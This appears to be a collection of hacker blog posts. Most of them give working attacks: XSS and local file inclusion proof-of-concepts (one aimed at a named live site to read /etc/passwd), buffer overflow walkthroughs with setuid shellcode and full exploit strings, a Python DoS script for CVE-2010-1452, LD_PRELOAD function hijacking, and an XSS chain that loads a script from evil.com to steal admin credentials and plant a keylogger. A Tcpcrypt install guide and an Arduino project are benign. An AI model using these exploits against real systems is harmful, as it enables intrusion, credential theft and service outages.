BackupPC 3.2.0 XSS

I dont normally make posts about XSS exploits unless there is some special circumstances. I picked this one because BackupPC is a popular network backup tool that you might find in networks all over the place and because there is no built in security you normally only find it on "secure" trusted networks.

So anyway the issue is in Browse.pm. It gets a num variable passed to it via get request, then displays the unsanitary input back to the user. So heres PoCs of both the vectors i found.

PoC 1: http://target.server/cgi-bin/BackupPC_Admin?action=browse&host=realhostneeded&num=1[XSS] - comes back as a valid request and runs XSS

PoC 2: http://target.server/cgi-bin/BackupPC_Admin?action=browse&host=realhostneeded&num=[XSS] - comes back as ERROR and runs XSS

Like most XSS holes its a easy fix, just edit line 55 in /usr/local/BackupPC/lib/BackupPC/CGI/Browse.pm to read like so:
my $num = ${EscHTML($In{num})};

or download this Browse.pm file and replace it with the one in /usr/local/BackupPC/lib/BackupPC/CGI/ on the installed server.

Ok thats it, peace.

Tcpcrypt on Ubuntu.

If you dont already know here is what tcpcrypt is and a run down on what it does.

Taken from tcpcrypt.org

Tcpcrypt is a protocol that attempts to encrypt (almost) all of your network traffic. Unlike other security mechanisms, Tcpcrypt works out of the box: it requires no configuration, no changes to applications, and your network connections will continue to work even if the remote end does not support Tcpcrypt, in which case connections will gracefully fall back to standard clear-text TCP. Install Tcpcrypt and you'll feel no difference in your every day user experience, but yet your traffic will be more secure and you'll have made life much harder for hackers.

And yes its as good as it sounds, but it does have a few weaknesses. Heres a little blerb of how it works and more detials on its short comings.

From tcpcrypt.org

Tcpcrypt is opportunistic encryption. If the other end speaks Tcpcrypt, then your traffic will be encrypted; otherwise it will be in clear text. Thus, Tcpcrypt alone provides no guarantees—it is best effort. If, however, a Tcpcrypt connection is successful and any attackers that exist are passive, then Tcpcrypt guarantees privacy.

Network attackers come in two varieties: passive and active (man-in-the-middle). Passive attacks are much simpler to execute because they just require listening on the network. Active attacks are much harder as they require listening and modifying network traffic, often requiring very precise timing that can make some attacks impractical.

By default Tcpcrypt is vulnerable to active attacks—an attacker can, for example, modify a server's response to say that Tcpcrypt is not supported (when in fact it is) so that all subsequent traffic will be clear text and can thus be eavesdropped on.

Tcpcrypt, however, is powerful enough to stop active attacks, too, if the application using it performs authentication. For example, if you log in to online banking using a password and the connection is over Tcpcrypt, it is possible to use that shared secret between you and the bank (i.e., the password) to authenticate that you are actually speaking to the bank and not some active (man-in-the-middle) attacker. The attacker cannot spoof authentication as it lacks the password. Thus, by default, Tcpcrypt will try its best to protect your traffic. Applications requiring stricter guarantees can get them by authenticating a Tcpcrypt session.

Now to install this guy we need to get our system ready so lets start by opening a term up and running this:

sudo apt-get install iptables libcap-dev libssl-dev libnfnetlink-dev libnetfilter-queue-dev git-core

Then run these commands:

git clone git://github.com/sorbo/tcpcrypt.git
cd tcpcrypt/user
make

Now we need to edit rc.local "/etc/rc.local"

sudo vi /etc/rc.local

Add this line before "exit 0"

sh /home/user/tcpdump/user/launch_tcpcryptd.sh

And restart your done!! You may want to move the tcpcrypt dir out of your home dir but thats up to you. Enjoy!

JS via AS3

Heres a little script that runs javascript from flash.

swfjs.as

package {
import flash.display.*;
import flash.external.*;
public class swfjs extends Sprite {
function swfjs(){
ExternalInterface.call("function(){alert(1);}");
}
}
}

enjoy :D

More buffer overflows on the easy.

In my last BOF post i showed a slick way to do a local buffer overflow and how to do it with a really small buffer. This time we will work with a nice big buffer like 400 chars long. Like before lets get our environment ready, we can start by turning off address space randomization:

echo 0 > /proc/sys/kernel/randomize_va_space

Last time we saw how to use core dumps, lets enable them again. Now we need a app:

BOF2.c

#include < stdio.h >
#include < string.h >

int main (int argc, char** argv)
{
char buffer [400];
strcpy(buffer, argv [1]);
printf("sent to buffer: %s \n", buffer);
return 0;
}

And we compile it like so:

gcc -z execstack -g -o BOF2 -fno-stack-protector -mpreferred-stack-boundary=2 BOF2.c

Yes this is the same app as before but with a much bigger buffer now lets run a few tests and see just how much room we have to work with.

./BOF2 `perl -e 'print "A" x 402'`

Ok everything is normal lets try:

./BOF2 `perl -e 'print "A" x 404'`

Oh we get a seg fualt and a core dump, when we load that up in gdb and look at the registars we see we overwrote all of ebp with 41's So we know from last time eip is only 4 spaces chars away making our total buffer size 408, but lets test that out:

./BOF2 `perl -e 'print "A" x 408'`

Again we seg fualt and when we open the core dump in gdb and inspect the registars we see we can control eip. :D Ok so now we need to get the address of esp so we can get our attack vector. We do this like so:

gdb -q BOF2

then we need insert a line break at our point of BoF, in our app its line 7. So enter this command:

b 7

Then run a little test so we can get esps address:

run test

Now when the app hits out line break it should stop running and give us a chance to look at a few things like register addresses. We do that with the "i r" command. We should have something like this:

Breakpoint 1, main (argc=2, argv=0xbffffd24) at BOF2.c:7
7 strcpy(buffer, argv [1]);
(gdb) i r
eax 0xbffffd24 -1073742556
ecx 0xbe3b369c -1103415652
edx 0x2 2
ebx 0xb7fd8ff4 -1208119308
esp 0xbffffb00 0xbffffb00
ebp 0xbffffc98 0xbffffc98
esi 0xb7ffece0 -1207964448
edi 0x0 0
eip 0x804839d 0x804839d
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

And there you have it, esp is at 0xbffffb00, now lets subtract 300 from that to get our target address "attack address". We do that with this command:

printf "%x\n" $((0xbffffb00-200))

Which should give us "bffffa38"
Now we need some shell code, but lucky us we can just use the same stuff we used last time. Its time for some math

Our buffer it 408 chars long.
-We will want to use at lest 200 chars for a NOP sled.
------------
208
-Our shell code (28)
------------
Ok we are left with 180 chars to fill up, so to make sure we get the right address in eip we will just fill it up with our attack address (bffffa38) Now eip is 4 chars long so lets take 180/4 which gives us 45. So we need to repeat bffffa38 45 times in little endian format and hex it.

So our end result shoule look something like this:

`perl -e 'print "\x90" x 200'``printf "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"``perl -e 'print "\x38\xfa\xff\xbf" x 45'`

This part is the NOP sled:

`perl -e 'print "\x90" x 200'`

Here is our shell code:

`printf "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`

And here is our attack address being repeated:

`perl -e 'print "\x38\xfa\xff\xbf" x 45'`

Ok lets run this shit:

./BOF2 `perl -e 'print "\x90" x 200'``printf "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"``perl -e 'print "\x38\xfa\xff\xbf" x 45'`

If your 1337 you should now be at a new shell!! Ok later bitches.

DLL hijacking in linux

The last few days i been seeing lots and lots of buzz about DLL injection on windows, which is cool but i dont use windows so i decided to join the hype wagon and make a stink about it on linux :P "both have existed for a very very long time so i cant really understand all the hype all of a sudon" Anyway linux has stuff like DLL files but its called Shared Objects, so rather then Dynamic Linked Librarys ".dll" we use Shared Objects ".so".

Now i dont know about windows but in linux this is almost to easy. Almost all apps in linux one time or another call strlen() so all we have to do is hijack that function with our own shared object. Basiclly we are going to rewrite the strlen function and force apps to use our version. Lets look at our hijacking code:

hijack_strlen.c

#include < stdio.h >
#include < string.h >
size_t strlen(const char *str)
{
printf("\n\nWe have just hijacked strlen() xD\n\n");
return 5;
}

Now we just have to compile it as a shared object, we do that with these commands:

gcc -fPIC -c hijack_strlen.c -o hijack_strlen.o
gcc -shared -o hijack_strlen.so hijack_strlen.o

And now we are ready to start injecting our shared object to hijack strlen(). We will be using the LD_PRELOAD trick to do this. For our target app lets use nmap :D We just run this command:

LD_PRELOAD=/home/$user/hijack_strlen.so nmap

When you run the above we should see something like this:

We have just hijacked strlen() xD



We have just hijacked strlen() xD

Nmap 5.00 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
...

And there you have it! We just hijacked strlen in nmap!! We are 1337 :P

Now that you have your killer hijacker SO try these commands as well:

LD_PRELOAD=/home/$user/hijack_strlen.so ifconfig

LD_PRELOAD=/home/$user/hijack_strlen.so ssh

LD_PRELOAD=/home/$user/hijack_strlen.so scp

And yes there are tons more :D Ok thats all for now, laters.

Apache DoS tool (CVE-2010-1452)

I made a little python script to exploit the CVE-2010-1452 bug. So...here it is :)

DOWNLOAD: HERE

Source code:
apacheDoS-CVE20101452.py

import socket, getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "ht:")
except getopt.GetoptError, err:
print str(err)
exit()
def banner():
print "************************************************"
print "**|''''''''''''''''''''''''''''''''''''''''''|**"
print "**|Apache DoS tool |**"
print "**|By: Anarchy Angel |**"
print "**|Email: anarchy.ang31 [@] gmail |**"
print "**|http://hha.zapto.org |**"
print "**|- |**"
print "**|Usage: |**"
print "**| $ python apacheDoS-CVE20101452.py -h |**"
print "**| |**"
print "**|,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,|**"
print "************************************************"
print ""
for o, a in opts:
if o in ("-h", "--help"):
banner()
print "-h: This message."
print "-t : The target server you want to DoS"
print "i.e. user@user:~/$ python apacheDoS-CVE20101452.py -t www.target.com"
print "This script uses the CVE-2010-1452 bug to DoS apache servers."
print "More info: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1452"
exit()
elif o in ("-t", "--target"):
server = a
else:
assert False, "unhandled option"
try:
server
except NameError:
print "No mode set."
print "Try -h"
exit()
banner()
print "Starting DoS attack"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# - the normal http port
s.connect((server, 80))
s.send("GET http://"+server+" HTTP/1.0")
print "Packets sent\nChecking servers status....."
s.close()
f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
f.connect((server, 80))
print "Server not open to DoS :("
f.close()
except:
print "DoS done xD"

Toys for hackers

The other day i friend of mine introduced me to Arduino, and i been playing with it ever since xD There is something about coding hardware that is very gratifying. So anyway i got my first toy done and i thought i would share it with you. Heres my leet video of my creation in action:



Here is the source code for my little toy:

int sensorPin = 0;
int ledPin = 13;
int sensorValue = 0;
const int buttonPin = 2;
const int buttonPin2 = 1;
int buttonState = 0;
int buttonState2 = 0;

void setup() {
pinMode(buttonPin, INPUT);
pinMode(ledPin, OUTPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
if(buttonState2 == LOW)
{
digitalWrite(ledPin, HIGH);
return;
}
if(buttonState == LOW)
{
digitalWrite(ledPin, LOW);
}else{
digitalWrite(ledPin, HIGH);
sensorValue = analogRead(sensorPin);
delay(100);
digitalWrite(ledPin, LOW);
delay(sensorValue);
}
}

Isnt it sexy? :P I am looking forward to a long and loving relationship with this and you can expect more to come xD

Buffer overflows on the easy.

So i started out on a little journey into buffer overflows on ubuntu and i thought i would take you with me :) First things first, we need to setup our environment and we start by opening a terminal and turning address space randomization off like so:

echo 0 > /proc/sys/kernel/randomize_va_space

Then we need to turn on core dumps:

ulimit -c unlimited

And now we are ready for our BOF app, here is the source we will be working with:

BOF.c

#include
#include

int main(int argc, char** argv)
{
char buffer[10];
strcpy(buffer, argv[1]);
printf("sent to buffer: %s \n", buffer);
return 0;
}

Compile it with this string:

gcc -z execstack -g -o BOF -fno-stack-protector -mpreferred-stack-boundary=2 BOF.c

So all our program does is take what ever char string we pass to it, put it in a buffer and echo it back. Let try it out:

./BOF AAAA

Cool huh? Lets try to pass 14 "A"s to it and see what happens:

./BOF `perl -e 'print "A" x 14'`

Run that and you should see something like this returned:

Segmentation fault (core dumped)

Ok so now we have a core dump we can work with. Lets load it up:

gdb -c core ./BOF

Once at a prompt type "i r" and hit enter and you should see something like this:

eax 0x0 0
ecx 0xbffff3dc -1073744932
edx 0x414140fd 1094795517
ebx 0x287ff4 2654196
esp 0xbffff40c 0xbffff40c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x171286 0x171286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Ok so we see we filled ebp up with 41's which is A in hex but our goal is to take over the eip pointer, so lets exit gdb and put a few more As in there.

./BOF `perl -e 'print "A" x 15'`

Now when we open gdb and run "i r" we get this:

eax 0x0 0
ecx 0xbffff3cc -1073744948
edx 0x289340 2659136
ebx 0x287ff4 2654196
esp 0xbffff400 0xbffff400
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x150041 0x150041
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

There we see we got one A into eip. So now we know that 14 "A"s will fill the stack up to eip so in all our string will be 18 chars long, 14 to fill up the stack, and 4 to take over eip. Now we just need something to put there, and i have just the thing:

eggshell.c

#include //dont forget brackets again
#define NOP 0x90 /* nops , we want to land here */

char shellcode[] =
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80

"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80

/* This is not my shell code , I got it from milw0rm.com.
Its setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])
http://www.milw0rm.com/shellcode/1637
*/

int main(void)
{
char egg[512];
puts("loaded eggshell into env");
memset(egg,NOP,512);
memcpy(&egg[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", egg, 1);
putenv(egg);
system("/bin/bash");
return(0);
}

Now just compile that and run it to get it into memory. The main benefit with the method of pushing the shell code into a environment variable is that when dealing with small buffers we dont have to try to cram it all into it because its already in the memory at another location, more on that later. Now we need to make BOF seg fault again:

./BOF `perl -e 'print "A" x 18'`

Now open gdb so we can find out what address our egg shell was loaded to, we do that with this command:

x/s $esp

Now just hit enter until you see something like this:

0xbffff51c: "EGG=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\"

So now we have the address that our shell code was loaded to "0xbffff51c", all thats left is to chop off the leading 0x, reverse its order, and put it in hex formate giving us this "\x1c\xf5\xff\xbf", and push it into eip. So our BOF string will look like this:

./BOF `perl -e 'print "A" x 14'``printf "\x1c\xf5\xff\xbf"`

After running that you should be at a new shell xD There you have it, a BOF from start to finish.

DefCon18 is over.

Well i had a great time at DefCon18!! One of the more exciting things this year was badge unlocking which i totally fucked up :( i thought you needed a usb cable to crack the code but after closer inspection of the source i see that usb had nothing to do with it :( Note i didnt take the time really till after i got home to look at the source. Once i found out all the ninja badges were gone i kinda lost the urge to hack it. So anyway here is all the content of the DefCon18 CD. Oh yeah, and im back :)

Whizzy CMS 10.02 0-day

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Local File Inclusion
[x] Vendor: Unverse.net
[x] Script Name: Whizzy CMS
[x] Script version: 10.02
[x] Author: Anarchy Angel
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit:
http://site.org/?[LFI]

Ex:
http://site.org/?../../../../../../../etc/passwd

PoC on live demo:
http://www.unverse.net/?../../../../../../../../../../../../etc/passwd

This is a special DefCon 18 kick off from me! See ya there ;)

Special Tnx : lun0s, proge, sToRm, progenic, gny

Chrome's ListMyTabs XSS

ListMyTabs, a Google Chrome extension, which as you guessed lists all the open tabs/windows you have open by their title. So it takes whats ever in the title tags and pushes it on the list which is where our XSS comes from. If you goto a evil page with something like [img src="" onerror="alert('xss')"] in its title tags and you click ListMyTabs's browser action button we get a little alert box that says xss.

Not much of a blog post i know, but it was fun wasn't it?

Using XSS to pwn

In this post i will go over how to pwn a server by exploiting just XSS. This is some what special circumstance but we will go over that a little later. I will also be targeting S40 CMS for this post and giving out a few XSS 0-days in the process :)

So our goal is to get the admin user name and password, but using XSS is not always the best way to go about it "note i said get login details not stealing sessions". Now due to some major security issues in S40 i can show you two ways to get the admin creds. If our victim checks the remember me box at the admin login page, S40 saves the user name and password "base64 encoded" in your cookie. Which brings us to our first XSS. S40 has a handy search function that happens to be open to XSS and allows for our entery point. Lets look at our attack code:

xss_attack.html #Remember we have to get our victim to visit this page.
[script languaje="JavaScript"]
function func(){
document.go.submit();
}
[/script]
[form action="http://s40.biz" name="go" method="POST"]
[input type='hidden' name='gsearchfield' value='"][script src=http://evil.com/xss.js][/script]']
[script]func();[/script]

The bold portion is our injection, the rest is just our form and javascript to auto submit. We see its including xss.js "Our XSS payload" from exil.com. Now xss.js's job is to get the cookie, scan it for login details and if it finds them, send them on to us. If not thats ok we can just move on to the next phase and have it inject more XSS in the user name "sfu" var in the cookie.

We do this because later when the victim goes to login, S40 will look in the cookie for user name and password data. Then if it finds data it push it into the appropriate input fields on the login page. So if we injected a key logger as our payload for the second phase, and the admin goes to login your payload gets run and you get the login details! There you have it, going from XSS to pwn. It just takes a perfect storm of XSS which is sadly all to common.

Conf. Con 2010 coming up!

Conf. Con is only one day away! If its anything like the last one it should be well worth the wait! I'll see you there xD

Sign up FREE for Conf.Con: HERE

More info on conf.con: here

Having fun with CVE-2010-2713

Heres a fun little exploit i noticed the other day, at first i didnt have any idea wtf i was looking at. After a little research i found out that libvte was used by gnome-terminal and thats what really got me interested, it was something i could play with without having to do a bunch of shit ;p So whats going on anyway, well vte reports back a window or icon name to the term as if it was a command being issued and at the same time users are allowed to set the name of a window or icon and that is where the issue lies. The one catch is after the attack starts the victim has to hit the enter key to execute the command issued to the term from the attack, but this is very easy to get around. Ok lets test this baby out. Open a term and run this:

export PS1="\033]0;;ls\007" <= sets the window name to ;ls

Then this:

export PS1="\033]0;\a\e[21t\007" <= sends the window name to the term

Now all you have to do is hit enter and you should get a dir listing :D There is all kinds of ways to automate this so all the victim has to do is hit enter, you can even send a message telling the victim to hit enter to continue >:) Thats it, enjoy.